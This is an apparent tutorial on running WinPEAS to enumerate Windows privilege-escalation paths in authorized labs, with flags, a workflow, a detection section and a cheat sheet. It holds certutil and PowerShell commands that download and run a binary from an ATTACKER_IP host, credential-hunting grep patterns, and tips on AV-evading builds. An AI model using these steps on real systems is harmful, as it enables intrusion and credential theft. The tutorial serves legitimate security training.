WinPEAS

WinPEAS (part of the PEASS-ng suite) is the Windows counterpart to LinPEAS: a single tool that enumerates a Windows host for privilege-escalation paths and ranks what it finds by how likely it is to matter. It checks service misconfigurations, unquoted service paths, weak file and registry permissions, stored credentials, scheduled tasks, token privileges, AlwaysInstallElevated, and dozens of other things, then color-codes the output so the dangerous bits stand out. It solves the “I have a shell on Windows, now how do I become SYSTEM or an admin?” problem by doing the tedious checks for you.

You will run it on almost every Windows box right after getting a foothold. It does not exploit anything itself; it surfaces leads you then verify and act on by hand.

What you will learn#

How to get WinPEAS onto a Windows target and run it
How to read the red/green/yellow highlight system without trusting it blindly
Which findings are usually high-signal (services, paths, creds, token privileges)
How to save the output so you can grep it later
Common mistakes and a commented cheat sheet

Legal and scope reminder#

Run WinPEAS only on hosts you own or are authorized to test. CTF platforms, your own homelab, and dedicated practice VMs are all fair game. Anything else needs written permission and an agreed scope. It is read-heavy enumeration, but it touches a lot of the registry and filesystem and is noisy in logs. Keep the target and authorization in your notes, and prefer running it from a writable temp location you clean up afterward.

Prerequisites#

A shell on the target (any user) and a way to transfer a file or pipe a script.
Basic Windows privesc literacy helps you act on findings (services, unquoted paths, token privileges, registry autoruns, stored creds).
ATTACKER_IP is your own attacker box serving the binary; everything runs on an authorized lab target reached at TARGET_IP.

Lab setup#

Keep every engagement in its own folder so binaries, output, and notes never mix.

# On your attacker box: one folder per box, with room for the tool and output
mkdir -p ~/labs/winbox/{tools,loot,notes} && cd ~/labs/winbox
# Drop the WinPEAS build you downloaded from the official PEASS-ng releases into tools/
ls tools/   # winPEASx64.exe, winPEASx86.exe, winPEASany.exe, winPEAS.bat

Use private ranges for practice targets (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). Throughout this guide, TARGET_IP is the authorized Windows lab host and ATTACKER_IP is your box serving the file.

Installation#

WinPEAS is a prebuilt binary (or a .bat), not a package you install on the target. You download a release build on your attacker box and transfer it over. Common ways to get a copy:

# Kali ships a copy under peass:
ls /usr/share/peass/winpeas/
# winPEASx64.exe  winPEASx86.exe  winPEASany.exe  winPEAS.bat

# Or keep your own copy in the lab folder (from the official PEASS-ng releases).
# Pick the build that matches the target:
#   winPEASx64.exe  -> 64-bit Windows (most modern boxes)
#   winPEASx86.exe  -> 32-bit Windows
#   winPEASany.exe  -> .NET build that runs on either, larger
#   winPEAS.bat     -> no .NET / AV ate the exe; lighter, fewer checks

Prefer the official PEASS-ng release build. The .exe does far more than the .bat; keep the .bat as a fallback for when .NET is missing or AV blocks the binary.

Getting it onto the target#

WinPEAS runs on the target, so you deliver it over the foothold you already have. The quickest route here:

# Serve winpeas.exe from your attacker box (python3 -m http.server 8000), then on the target:
certutil -urlcache -f http://ATTACKER_IP:8000/winpeas.exe winpeas.exe; .\winpeas.exe

That is just one option. For every transfer method and how to choose between them, see the file transfer methods guides.

Update process#

# On your attacker box: replace the local build with the newest release, then re-serve.
sudo apt update && sudo apt install --only-upgrade -y peass 2>/dev/null || true
# Otherwise drop in the latest winPEASx64.exe from the official PEASS-ng releases.

New releases add checks and CVE hints, so a current copy finds more. Always transfer the fresh build to the target rather than reusing an old one.

Check if installed and available#

WinPEAS is not “installed” on the target; you confirm the file landed and runs.

# Confirm the binary transferred fully (size should match your local copy)
dir C:\Windows\Temp\wp.exe

# Print the help/options banner to prove it executes
C:\Windows\Temp\wp.exe --help

# On your attacker box, confirm your local copy before serving it
ls -l ~/labs/winbox/tools/winPEASx64.exe

If the file is much smaller than expected, the transfer was truncated or AV quarantined it. Re-download and check the size.

First safe test#

On a lab box you control, print the options so you know the run will work before you unleash the full scan.

C:\Windows\Temp\wp.exe --help

Success: the help/options banner prints with the list of available checks. A real run ends with a long color-coded report. Failure is usually a transfer problem (is not recognized or a zero-byte file) or AV deleting the binary mid-run.

Core concepts#

It enumerates, it does not exploit. Every hit is a lead to verify.
Color code: red = a finding that is very likely exploitable, green = a default/expected value, and yellow highlights items worth a look. Red is a strong hint, not a guarantee.
Sections map to privesc classes: System info, Services, Applications, Network, Windows credentials, Browser info, Files with creds, Token privileges, and more.
Checks vs targeted modules: systeminfo, userinfo, servicesinfo, applicationsinfo, windowscreds, etc. let you run one category instead of all.
Noise: it prints a lot. Send it to a file and search it rather than scrolling a cramped reverse shell.
-a runs every check (slower, louder); the default is already broad.

When this tool is useful#

Right after a Windows foothold to map privesc options fast.
Homelab hardening: see what an attacker would flag on your own box.
Triaging many hosts where manual enumeration would take too long.
CTFs and exam-style labs where a quick, ranked overview saves time.

When not to use this tool#

When you already know the vector (just exploit it).
On heavily monitored hosts where the EDR noise is a problem.
As proof of a vulnerability; WinPEAS hints, you still confirm manually.
When AV keeps eating the .exe and you have not tried the .bat or an obfuscated build.

Command anatomy#

wp.exe [checks] [options] > output.txt
#      systeminfo/servicesinfo   quiet/notcolor   save a copy to read later

checks: run one category (e.g. servicesinfo) or omit for the full scan.
options: quiet reduces banners, notcolor strips ANSI codes for clean files, log writes to a file directly.
redirect: keep a copy; a reverse-shell scrollback will not hold it all.

Common flags and options#

Option	Meaning	When to use it	Example
(none)	Default broad scan	Most boxes	`wp.exe`
`-a`	All checks	When the default finds nothing	`wp.exe -a`
`quiet`	Drop the banner/noise	Cleaner output in a small shell	`wp.exe quiet`
`notcolor`	No ANSI color codes	Saving to a file to read later	`wp.exe notcolor > wp.txt`
`log`	Write output to a file	Keep a copy on the target	`wp.exe log=wp.txt`
`servicesinfo`	Only service checks	You suspect a service misconfig	`wp.exe servicesinfo`
`windowscreds`	Only credential checks	Hunting stored creds	`wp.exe windowscreds`
`--help`	Help	Discover checks and options	`wp.exe --help`

Practical examples#

Each command below explains what it does and what to expect.

# Full default scan, saved to a temp file you can read or pull back
C:\Windows\Temp\wp.exe > C:\Windows\Temp\wp.txt
# Output: a long color-coded report. Read the red lines first.

# No-color file for clean reading and grepping back on your box
C:\Windows\Temp\wp.exe notcolor quiet > C:\Windows\Temp\wp-plain.txt
# notcolor drops ANSI codes so the file is not full of escape sequences.

# Only the service checks: fast when you already suspect a service path issue
C:\Windows\Temp\wp.exe servicesinfo
# Output: service binaries, permissions, and unquoted-path flags.

# Only the credential checks: hunt stored passwords and saved creds
C:\Windows\Temp\wp.exe windowscreds quiet
# Output: cmdkey entries, autologon, WiFi profiles, Credential Manager hints.

# Run everything, including the slower extra checks
C:\Windows\Temp\wp.exe -a > C:\Windows\Temp\wp-all.txt
# Use when the default scan came back thin.

:: Fallback when .NET is missing or AV ate the exe: run the batch version
C:\Windows\Temp\winPEAS.bat > C:\Windows\Temp\wp-bat.txt
:: Fewer checks, but it runs almost anywhere.

# Pull the saved report back to your attacker box to read comfortably,
# for example over the same HTTP path in reverse, or via SMB/scp from your foothold.
# Then on your box, focus the noise:

# On your attacker box: grep the report for the usual high-signal suspects
grep -iE 'unquoted|AlwaysInstallElevated|SeImpersonate|SeAssignPrimary|writable|password|cmdkey|autologon' wp-plain.txt

Example workflow#

A realistic beginning-to-end pass on one authorized box.

# 1. Foothold shell on the target, confirm scope (note target + authorization)
# 2. Transfer WinPEAS from your attacker box's HTTP server
certutil -urlcache -f http://ATTACKER_IP:8000/winPEASx64.exe C:\Windows\Temp\wp.exe
# 3. Run it, saving a no-color copy to read later
C:\Windows\Temp\wp.exe notcolor quiet > C:\Windows\Temp\wp.txt
# 4. Read the red first: service misconfigs, unquoted paths, token privileges, creds
# 5. Verify the top lead by hand (e.g. confirm a writable service binary path)
# 6. Document the path you took; delete wp.exe and wp.txt from C:\Windows\Temp

From here, the discovered weakness decides the next move: a juicy token privilege points to a known technique, a stored credential leads to lateral movement, and an unquoted service path leads to a controlled binary swap.

Reading and interpreting output#

Services section: writable service binaries, weak service permissions, and unquoted service paths are some of the fastest wins. Confirm you can actually write the path before acting.
Token privileges: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege on a service account is a classic high-signal lead.
AlwaysInstallElevated: if both registry keys are set, MSI installs run as SYSTEM.
Windows credentials: cmdkey entries, autologon registry values, unattended install files, and saved WiFi or Credential Manager secrets.
Files with creds: config files, history, backups, and web.config style files it surfaces.
Red is “look here first,” not “guaranteed admin.” Always verify.
Empty or thin output can mean a truncated transfer, AV interference, or a genuinely well-hardened box. Re-run with -a and enumerate manually too.

Common mistakes#

Scrolling a cramped reverse shell instead of saving to a file and grepping.
Running the wrong architecture build (x86 on x64) and getting flaky results.
Trusting a red flag without confirming you can actually write the path or use the privilege.
Forgetting notcolor and ending up with a file full of escape sequences.
Letting AV quarantine the .exe and never falling back to the .bat.
Leaving wp.exe and its output on the target afterward.
Ignoring the boring sections (creds in files) that often hold the real answer.

Troubleshooting#

Problem	Likely cause	Fix
`is not recognized`	Transfer failed / wrong path	Re-check URL and full path; verify file size
Binary vanishes mid-run	AV quarantined the exe	Use `winPEAS.bat`, an obfuscated build, or AMSI-safe transfer
Garbled escape codes in file	ANSI color saved	Add `notcolor` (and `quiet`) when redirecting
Zero-byte / truncated file	Download cut off	Re-download; compare size to your local copy
Very slow	Big disk / `-a`	Drop `-a`; run a single check like `servicesinfo`
Access denied writing temp	Dir not writable	Use `C:\Windows\Temp` or `%TEMP%`
Finds nothing useful	Default missed it	Try `-a`, and enumerate manually too

Tools that pair well#

nmap earlier, to get you the foothold WinPEAS runs from.
evil-winrm as the shell you transfer and run it through.
linpeas for the Linux side of the same PEASS-ng workflow.
searchsploit to check a flagged service or build version.
mimikatz once WinPEAS points you at credential material to extract.
netexec to reuse harvested creds for lateral movement.

Automation and note taking#

# Always keep a plain-text copy you can grep and attach to notes
C:\Windows\Temp\wp.exe notcolor quiet > C:\Windows\Temp\winpeas.txt

# On your attacker box, timestamp the report once you pull it back
mv winpeas.txt notes/winpeas-$(date +%Y%m%d-%H%M).txt

Record which finding you used and the exact command that escalated. Screenshot anything you will reference in a report, and clean the binary off the target.

Blue-team visibility#

WinPEAS is noisy. Defenders may see a fresh .exe written to C:\Windows\Temp, a burst of registry and WMI queries, service and scheduled-task enumeration, and the binary itself flagged by AV/EDR signatures (the .exe is widely detected). PowerShell download cradles light up Script Block Logging and AMSI; certutil downloads are a well-known living-off-the-land indicator. Windows Event Logs will show process creation (Sysmon Event ID 1) and the temp-dir write. As a defender, alert on these patterns; as a tester, this explains why a default WinPEAS run gets you noticed.

Safer or lower-noise usage#

Run a single check (servicesinfo, windowscreds) instead of the full -a scan when you only need one answer.
Prefer saving to C:\Windows\Temp and deleting both the binary and output when done.
Use the .bat or an obfuscated build when AV keeps the .exe from running.
Transfer to memory-backed scratch on a Linux relay (/dev/shm) when disk artifacts matter, and confirm scope before the first command.
Test against one host before sweeping a lab.

Alternatives#

PowerUp / SharpUp: focused PowerShell/C# privesc checks; lighter and stealthier than a full WinPEAS run.
Seatbelt: broad host survey in C#, good for situational awareness.
PrivescCheck: another PowerShell enumerator with clean, categorized output.
Manual checks: whoami /priv, sc query, reg query for the AlwaysInstallElevated keys, and cmdkey /list when you want signal without noise.

WinPEAS wins for breadth and ranked output; PowerUp/Seatbelt win for stealth and focus, and manual checks win when you already know what you are looking for.

Deprecated and legacy notes#

WinPEAS is part of PEASS-ng alongside LinPEAS for Linux; older standalone Windows privesc scripts (windows-privesc-check, Sherlock) are largely superseded.
Check names and the available builds change between releases, so a flag from an old guide may have moved. Run wp.exe --help against your current build to confirm.

Quick reference cheat sheet#

# --- On your attacker box: serve the binary ---
cd ~/labs/winbox/tools && python3 -m http.server 8000   # throwaway web server

# --- On the target: transfer ---
certutil -urlcache -f http://ATTACKER_IP:8000/winPEASx64.exe C:\Windows\Temp\wp.exe
iwr http://ATTACKER_IP:8000/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe   # PowerShell

# --- Confirm + help ---
dir C:\Windows\Temp\wp.exe          # check size matches your local copy
C:\Windows\Temp\wp.exe --help       # list checks and options

# --- Run + save (clean file for grepping) ---
C:\Windows\Temp\wp.exe notcolor quiet > C:\Windows\Temp\wp.txt

# --- All checks (slower, louder) ---
C:\Windows\Temp\wp.exe -a > C:\Windows\Temp\wp-all.txt

# --- Targeted checks ---
C:\Windows\Temp\wp.exe servicesinfo     # service misconfigs / unquoted paths
C:\Windows\Temp\wp.exe windowscreds     # stored creds, autologon, cmdkey

:: --- Fallback when .NET is missing or AV blocks the exe ---
C:\Windows\Temp\winPEAS.bat > C:\Windows\Temp\wp-bat.txt

# --- On your attacker box: focus the report after pulling it back ---
grep -iE 'unquoted|AlwaysInstallElevated|SeImpersonate|writable|password|cmdkey|autologon' wp.txt

Mini decision tree#

Fresh Windows shell: transfer the matching build, run it, save with notcolor quiet.
64-bit target: use winPEASx64.exe; 32-bit: use winPEASx86.exe.
AV eats the exe: fall back to winPEAS.bat or an obfuscated build.
Output too long: pull the file back and grep for services/creds/token privileges.
Red service or unquoted path: confirm you can write it, then exploit.
Red token privilege (SeImpersonate): match it to a known technique and verify.
Nothing useful: re-run with -a, and enumerate manually too.

Final checklist#

Host is in scope and authorization noted
Matching architecture build transferred and size verified
Output saved (notcolor quiet) and reviewed past the first screen
Top lead verified by hand before exploiting
Binary + output cleaned off the target
No real third-party targets or credentials used

Final summary#

WinPEAS is the fastest way to map Windows privesc options from a fresh shell. The quickest start is serve it with python3 -m http.server 8000, pull it with certutil -urlcache -f http://ATTACKER_IP:8000/winPEASx64.exe C:\Windows\Temp\wp.exe, and run wp.exe notcolor quiet > wp.txt. The most important mistake to avoid is trusting a red flag without confirming you can actually use it, or never reading past the first screen. Pair it with evil-winrm for the shell and mimikatz to act on the credentials it finds.